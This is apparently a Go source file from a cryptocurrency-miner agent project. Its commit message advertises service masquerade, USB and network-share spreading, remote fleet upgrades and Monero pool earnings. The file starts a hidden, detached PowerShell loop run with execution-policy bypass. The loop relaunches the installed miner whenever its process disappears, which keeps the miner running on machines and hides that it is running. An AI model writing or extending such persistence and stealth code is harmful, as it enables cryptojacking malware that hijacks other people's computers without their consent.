Files
AetherForge/agent/deploy/health_windows.go
drjones 102d2fb7c6 Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
2026-05-29 22:29:58 -07:00

44 lines
1.2 KiB
Go

//go:build windows
package deploy
import (
"fmt"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
// launchProcessGuard spawns a hidden PowerShell loop that watches for the
// installed miner process by name and relaunches it if it disappears.
// The guardian runs completely outside this process — it survives a crash.
func launchProcessGuard(cfg config.RuntimeConfig) {
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
procName := strings.TrimSuffix(BinaryName(cfg), ".exe")
// Loop every 60 s. If the process is gone and the binary still exists, restart it.
ps := fmt.Sprintf(`
$bin = '%s'
$proc = '%s'
while ($true) {
Start-Sleep -Seconds 60
if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
if (Test-Path $bin) {
Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
}
}
}
`, binPath, procName)
cmd := exec.Command("powershell",
"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
"-Command", ps)
applyDetachedStart(cmd)
_ = cmd.Start()
}